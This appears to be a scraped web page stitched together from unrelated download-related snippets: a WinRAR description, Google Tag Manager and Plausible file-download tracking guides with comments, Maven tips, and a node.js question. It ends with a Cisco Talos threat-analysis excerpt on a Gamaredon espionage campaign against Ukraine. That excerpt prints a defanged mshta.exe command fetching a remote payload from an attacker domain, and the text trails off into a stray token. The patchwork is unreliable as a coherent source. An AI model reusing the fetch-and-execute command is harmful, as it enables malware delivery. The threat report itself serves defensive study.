All of us from time to time receive digital archive packages, whether they are downloaded online or get sent over by our friends. Occasionally, we might be even packaging and distributing archives ourselves. But few of us stop and think why exactly do we do this.
In general, archives help us achieve two essential goals: decrease file size and unite a group of files into a single package. The first goal relies heavily on a compression algorithm and thus differs from format to format, whereas the second goal is equally achievable by all popular archivers on the market.
RAR files are used to transfer or store huge files, like when you download your data from Google or Facebook, or send gigabytes of data as image, audio, or video files. Compressing the files into a single RAR file lets you speed up transfer and download times.
WinRAR is an app for Windows 11, 10, 8, and 7 that you can download and use for free during the trial period to open RAR files. It was created by the same developers who came up with the .rar file format, and you can also use it to create RAR files.

Note: In July 2023, Universal Analytics stops working. It is no longer recommended to do new implementations with Universal Analytics (GA3). Use Google Analytics 4 instead. It tracks file downloads automatically.
Maybe that document that you spent countless hours on last year was clicked just 10 times in total By measuring file downloads you will be able to understand which content is more engaging and where you should focus your effort more.
Unlike Universal Analytics, GA4 can automatically track file download clicks (including PDF link). That is possible thanks to Enhanced Measurement. It is enabled by default and will track what you need. Learn more.
Then go to your website where you want to track PDF downloads with Google Tag Manager and Google Analytics. Refresh the page and the Preview console must appear at the bottom of your page. If it does not, read this guide.
Usually, tracking PDF downloads with Google Tag Manager is fairly easy (or any other types of files). Once you get a grasp on the main concepts, like triggers, tags, variables, you should be up-and-running fairly quickly.
Thank you so much for this really clear explanation! I've not used GTM before and was quite confused about how to go about tracking downloads and getting it hooked up properly with Google Analytics. With your super clear step-by-step guide I've now got it up and running in no time. I really appreciate the effort you've put into this.
1. This is up to you. I just showed an example. If I wanted to create a goal based on a click of particular URL just on the particular page, then Page Path would be useful. To sum up: your naming convention depends on your needs.
Great set of instructions really clear, unfortunately...I just cannot get either a simple ahref link, or button link to a pdf doc download to trigger at all. Can you think why this may be the caseOther tracking tags work ok.
Hi,I am in the position where I need to know when the invoice is actually downloaded, can this be done Not when clicking on the URL or cliking on the text \"X\", this can only be done with data layersHow would it beThanks and regards,Ainoa
After completing your instructions I could see the event was triggering fine but I couldn't see it against my goal in Google Analytics. I had a developer friend check this for me and apparently it was because I had set them up in different cases i.e. \"PDF clicks\" in one and \"PDF Clicks\" in another.

File downloads tracking is essential for many site owners and Plausible helps you automate this process. Plausible can capture a file download event each time a link is clicked and that link contains a file extension. All the most common file extensions are tracked by default but you can also specify a custom list of file types to track. With our \"File Downloads Tracking\" you can:
Do this for all the websites where you'd like to enable file downloads tracking. This is the only tracking script you need. You don't need to keep the old script. Your stats will keep tracking without interruption, and you won't lose any of your old data.
Do you want to use the file downloads feature alongside the outbound link clicks tracking You can combine any of our extensions by changing the src attribute in the snippet. In this case, change it to script.file-downloads.outbound-links.js.
Our \"File Downloads Tracking\" captures a file download event each time a link is clicked with a document, presentation, text file, compressed file, video, audio or other common file type. Both internal and external files downloads are tracked. These file extensions are tracked by default:
You can also specify a custom list of file types to track with a file-types attribute tag. With this, you can track other downloads not present in the default list. Say you only want to track .js and .py files, you can use a snippet like this:
Executing mvn dependency:sources will force maven to download all sources of all jars in the project, if the sources are available (are uploaded in the repository where the artifact is hosted). If you want to download javadoc the command is mvn dependency:resolve -Dclassifier=javadoc
It is best not to rely on the Eclipse plugin as it is deprecated. Using the downloadSources and downloadJavadocs properties did not work for me. The answer posted above regarding the use of the dependencies plugin word. However, you may wish to automatically download sources and javadocs. Furthermore you may wish to always create a source jar and a javadoc jar. Put this in the pom of your project. If you use modules, put in your parent pom.
I have a a node.js server that serves an index.html with a text input for a password.After a serverside password check the download should start for the client.The client shouldn't be able to see the location path where the file lies on the server.
We discovered the use of a custom-made information stealer implant that can exfiltrate victim files of interest and deploy additional payloads as directed by the attackers.Cisco Talos discovered Gamaredon APT activity targeting users in Ukraine with malicious LNK files distributed in RAR archives. The campaign, part of an ongoing espionage operation observed as recently as August 2022, aims to deliver information-stealing malware to Ukrainian victim machines and makes heavy use of multiple modular PowerShell and VBScript (VBS) scripts as part of the infection chain. The infostealer is a dual-purpose malware that includes capabilities for exfiltrating specific file types and deploying additional binary and script-based payloads on an infected endpoint.The adversary uses phishing emails to deliver Microsoft Office documents containing remote templates with malicious VBScript macros. These macros download and open RAR archives containing LNK files that subsequently download and activate the next-stage payload on the infected endpoint. We observed considerable overlap between the tactics, techniques and procedures (TTPs), malware artifacts and infrastructure used in this campaign and those used in a series of attacks the Ukraine Computer Emergency Response Team (CERT-UA) recently attributed to Gamaredon.We also observed intrusion attempts against several Ukrainian entities. Based on these observations and Gamaredon's operational history of almost exclusively targeting Ukraine, we assess that this latest campaign is almost certainly directly targeting entities based in Ukraine.
Gamaredon APT actors likely gained initial footholds into targeted networks through malicious Microsoft Office documents distributed via email. This is consistent with spear-phishing techniques common to this APT.Malicious VBS macros concealed within remote templates execute when the user opens the document. The macros download RAR archives containing LNK files. The naming convention of the RAR archives in this campaign follows a similar pattern:
Once opened, the LNKs will attempt to execute MSHTA.EXE to download and parse a remote XML file to execute a malicious PowerShell script:mshta.exe hxxp://a0704093.xsph[.]ru/bass/grudge.xml /fGamaredon is known to use the domain xsph[.]ru. The servers in this campaign only allow access from IP addresses inside the Ukrainian address space.This PowerShell script decodes and executes a second PowerShell script (instrumentor), which collects data from the victim and reports back to a remote server. This script also allows the remote server to send a PowerShell command or binary blob containing encrypted VBScript (VBS) code to be executed locally: 59ce067264
